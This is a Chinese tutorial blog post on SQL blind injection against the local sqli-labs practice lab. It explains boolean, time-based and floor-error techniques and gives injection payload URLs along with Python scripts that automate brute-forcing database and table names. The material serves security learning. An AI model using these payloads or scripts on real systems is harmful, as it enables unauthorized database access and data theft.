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        <p>本文首发于：<a href="http://mp.weixin.qq.com/s?__biz=MzU1MzE3Njg2Mw==&amp;mid=2247486376&amp;idx=1&amp;sn=8913d98c94c124bc76d7ee4c996563dd&amp;chksm=fbf791d8cc8018ce6a1f9914577b2715066ccba46f45133b771dc80a3fd23a5d6a24e45777bf&amp;mpshare=1&amp;scene=23&amp;srcid=0323MfHuuKvUeaDbEe7QsWrn#rd" target="_blank" rel="noopener">安恒网络空间安全讲武堂</a></p>
<p>这几天在学习sql注入的有关内容，今天记录一下我认为比较重要的部分，即sql盲注，我一开始学习的时候看到了好多的函数，看着看着就弄混了，相信不少新入门的师傅也有类似的困惑，经过多番心理斗争，我终于决定将这部分知识好整理一下，同时也给大家分享一下我在学习过程中编写的几个自动注入脚本，也欢迎各位师傅的指点和斧正。</p>
<h1 id="函数整理"><a href="#函数整理" class="headerlink" title="函数整理"></a>函数整理</h1><p>这里我先将所用到的功能函数整理一下，同时也欢迎各位师傅的补充和纠正</p>
<pre><code>left(m,n) #从左向右截取字符串m返回其前n位

substr(m,1,2) #取字符串m的左边第一位起，2字长的字符串

ascii(m) #返回字符m的ASCII码

if(str1,str2,str3) #如果str1正确就执行str2，否则执行str3

sleep(m) #使程序暂停m秒

length(m) #返回字符串m的长度

count(column_name) #返回指定列的值的数目
</code></pre><h2 id="concat-函数和group-concat-区别"><a href="#concat-函数和group-concat-区别" class="headerlink" title="concat()函数和group_concat()区别"></a>concat()函数和group_concat()区别</h2><p><strong>concat()</strong></p>
<p>该函数用于联合两条数据结果，通常是联合两个字段名，如concat(username,0x23,passwd),数据将由#分割开</p>
<p><strong>group_concat()</strong></p>
<p>这个函数与concat()用法是类似的，但如果管理员账号不止一个的话，concat一次只能注出一组用户名密码，而使用group_concat()可以实现一次注出多组数据。</p>
<h1 id="盲注类型"><a href="#盲注类型" class="headerlink" title="盲注类型"></a>盲注类型</h1><h2 id="基于布尔的盲注"><a href="#基于布尔的盲注" class="headerlink" title="基于布尔的盲注"></a>基于布尔的盲注</h2><p><strong>特征</strong></p>
<p>被注入的页面没有sql语句执行错误的显示，页面只有正常返回和不正常返回两种状态</p>
<p><strong>示例</strong></p>
<p>这里我拿sqli-labs的less8作为布尔型盲注的例子</p>
<p>我们可以看到这个页面正常会返回You are in………..而不正常的时候会无任何返回，这就很符合布尔盲注的特征</p>
<p>正常返回：</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b89bc79ddc.jpg" alt="1.jpg"></p>
<p>非正常返回：</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b89d6c6cf6.jpg" alt="2.jpg"></p>
<p>构造?id=1’ and 1=1 %23时正常返回</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b89f111009.jpg" alt="3.jpg"></p>
<p>这里基本就可以确定可以使用布尔盲注来获得数据库中的数据</p>
<p>接下来我们来猜解库名，在猜解库名之前，我们首先需要知道库名的长度</p>
<p>这里我们就可以利用length()函数来进行长度的爆破：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-8/?id=1&apos; and (length(database())=m) %23 //m=1,2,3,4.....
</code></pre><p>代码如下：</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a22ee743.jpg" alt="5.jpg"></p>
<p>结果</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a106dadf.jpg" alt="4.jpg"></p>
<p>接下来开始进行库名的猜解，这里用到了ascii()函数和substr()函数，具体的语句如下：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-8/?id=1&apos; and ascii(substr(database(),m,1))=n %23 //其中m 和 n是可变的参数
</code></pre><p>猜解库名的自动化脚本函数如下：</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a5405635.jpg" alt="6.jpg"></p>
<p>结果如下：</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a434da55.jpg" alt="7.jpg"></p>
<p>猜解表名和字段和猜解库名是一样的，篇幅原因将代码直接放出：</p>
<pre><code>import requests
def get_dblength(base_url):
    url = base_url+&quot;&apos; and (length(database())={0}) %23&quot;
    base_num = 100
    for i in range(0,base_num):
        url1 = url.format(i)
        print(url1)
        result = len(requests.get(url1).text)
        if result  == base_result:
            print(&quot;库名长度:&quot;,i)
            break
    return i

def get_dbname(base_url,db_length):
    dict = &apos;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&apos;
    dbname = &quot;&quot;
    url = base_url+&quot;&apos; and ascii(substr(database(),{0},1))={1} %23&quot;
    for i in range(1,db_length+1):
        for m in dict:
            m_ascii = ord(m)
            url2 = url.format(i,m_ascii)
            result = requests.get(url2)
            if len(result.text) == base_result:
                dbname += m
                print(dbname)
                break
    print(&quot;库名:&quot;,dbname)

def get_table_length():
    url = base_url + &quot;&apos; and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23&quot;
    for i in range(0,20):
        url1 = url.format(2,i)
        result = requests.get(url1)
        if base_result == len(result.text):
            print(&quot;表名长度:&quot;,i)
            break
    return i

def get_table_name(table_length):
    dict = &apos;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&apos;
    table_name = &quot;&quot;
    url = base_url + &quot;&apos; and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23&quot;
    for i in range(1,table_length + 1):
        for m in dict:
            ascii_m = ord(m)
            url1 = url.format(2,i,ascii_m)
            result = requests.get(url1).text
            if base_result == len(result):
                table_name +=m
                print(&quot;表名:&quot;,table_name)
                break
    return table_name

if __name__ == &apos;__main__&apos;:
    base_url = &quot;http://127.0.0.1/sqli-labs/Less-8/?id=1&quot;
    base_result = len(requests.get(base_url).text)
    dblength = get_dblength(base_url)
    get_dbname(base_url, dblength)
    get_table_length()
    get_table_name(7)
</code></pre><h2 id="基于时间的盲注"><a href="#基于时间的盲注" class="headerlink" title="基于时间的盲注"></a>基于时间的盲注</h2><p><strong>特征</strong></p>
<p>被注入页面无论作何输入都回显相同的数据，导致我们无法判断注入是否成功，这时我们就可以使用以sleep()函数为核心的注入语句进行延时注入</p>
<p><strong>示例</strong></p>
<p>以sqli-labs less9作为示例</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a785cb4c.jpg" alt="8.jpg"></p>
<p>不管我们输入什么页面都显示You are in………..这时我们就可以用延时注入的方法进行数据库数据的获取</p>
<p>同样我们需要先获取库名的长度，然后再获取库名</p>
<p>这里主要使用到了sleep(),substr()和length()函数</p>
<p>获取库名长度：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if((length((select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数，如果猜解正确，页面将会暂停响应5秒
</code></pre><p>获取库名：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-9/?id=1&apos; and if((substr((select database()),m,1)=&apos;n&apos;),sleep(5),NULL) %23//其中m为整形,n为char型可变参数
</code></pre><p>爆破代码：</p>
<pre><code>import requests

def db_post(url):
    try:
        result = requests.get(url,timeout=4)
        return 0
    except:
        return 1
def get_db_length():
    url = base_url + &quot;&apos; and if((length((select database()))={0}),sleep(5),NULL) %23&quot;
    for i in range(0,20):
        url1 = url.format(i)
        temp = db_post(url1)
        if temp == 1:
            print(&quot;数据库名长度:&quot;,i)
            break
    return i

def get_db_name(db_length):
    db_name = &quot;&quot;
    url = base_url + &quot;&apos; and if((substr((select database()),{0},1)=&apos;{1}&apos;),sleep(5),NULL) %23&quot;
    print(&quot;开始猜解库名&quot;)
    for i in range(1,db_length+1):
        for m in dict:
            url1 = url.format(i,m)
            temp = db_post(url1)
            if temp == 1:
                db_name += m
                print(db_name)
                break
    print(&quot;库名：&quot;,db_name)
    return db_name

if __name__ == &apos;__main__&apos;:
    dict = &apos;abcdefghijklmnopqrstuvwxyz&apos;
    base_url = &quot;http://127.0.0.1/sqli-labs/Less-9/?id=1&quot;
    db_length = get_db_length()
    get_db_name(db_length)
</code></pre><p>可以看到成功将库名猜解出来</p>
<p><img src="https://i.loli.net/2019/03/27/5c9b8a925ed57.jpg" alt="9.jpg"></p>
<p>剩下的表名和字段将脚本稍作修改即可猜解出来，篇幅原因不再重复操作</p>
<h2 id="基于报错的盲注-floor报错注入"><a href="#基于报错的盲注-floor报错注入" class="headerlink" title="基于报错的盲注(floor报错注入)"></a>基于报错的盲注(floor报错注入)</h2><p><strong>原理</strong></p>
<p>该类型的注入利用了mysql的8652号BUG(官方链接:<a href="https://bugs.mysql.com/bug.php?id=8652" target="_blank" rel="noopener">https://bugs.mysql.com/bug.php?id=8652</a>)，当使用group by对某些rand函数操作时，会返回带有敏感信息的错误信息，我们可以通过特定的sql语句组合来控制返回敏感信息的内容，从而实现间接的注入</p>
<p><strong>示例</strong></p>
<p>对于BUG触发的原理本篇不做分析，通过对该类型注入的资料收集，根据网络上的payload我整理了一份有效的注入语句</p>
<p>以sqli-labs less5为实际示例</p>
<p>这里要用到concat和count函数</p>
<p>回显库名：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; union select 1,count(*),concat(&quot;-&quot;,&quot;-&quot;,(select database()),&quot;-&quot;,&quot;-&quot;,floor(rand(0)*2))a from information_schema.columns group by a %23
</code></pre><p><img src="https://i.loli.net/2019/03/27/5c9b8aa7efd03.jpg" alt="11.jpg"></p>
<p>接下来是表名的注入，我们同样需要知道表名的个数：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; union select 1,count(*),concat(&quot;-&quot;,&quot;-&quot;,(select count(table_name) from information_schema.tables where table_schema=&apos;security&apos;),&quot;-&quot;,&quot;-&quot;,floor(rand(0)*2))a from information_schema.columns group by a %23
</code></pre><p><img src="https://i.loli.net/2019/03/27/5c9b8abd491db.jpg" alt="12.jpg"></p>
<p>表名有四个，接着注出表名：</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1&apos; union select 1,count(*),concat(&quot;-&quot;,&quot;-&quot;,(select table_name from information_schema.tables where table_schema=&apos;security&apos; limit 3,1),&quot;-&quot;,&quot;-&quot;,floor(rand(0)*2))a from information_schema.columns group by a %23
</code></pre><p><img src="https://i.loli.net/2019/03/27/5c9b8acdad537.jpg" alt="13.jpg"></p>
<p>想注出全部表名修改limit参数即可</p>
<p>列名和数据同理修改查询语句就可以了。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>盲注是一个比较费神和考验逻辑的注入方式，在注入的过程中会做很多相同的工作，为了节省时间和精力，建议大家在平时练习的时候多编写自动脚本，这样能节省很多时间，避免做更多重复无用的工作</p>

      
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              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#函数整理"><span class="nav-number">1.</span> <span class="nav-text">函数整理</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#concat-函数和group-concat-区别"><span class="nav-number">1.1.</span> <span class="nav-text">concat()函数和group_concat()区别</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#盲注类型"><span class="nav-number">2.</span> <span class="nav-text">盲注类型</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#基于布尔的盲注"><span class="nav-number">2.1.</span> <span class="nav-text">基于布尔的盲注</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#基于时间的盲注"><span class="nav-number">2.2.</span> <span class="nav-text">基于时间的盲注</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#基于报错的盲注-floor报错注入"><span class="nav-number">2.3.</span> <span class="nav-text">基于报错的盲注(floor报错注入)</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#总结"><span class="nav-number">3.</span> <span class="nav-text">总结</span></a></li></ol></div>
            

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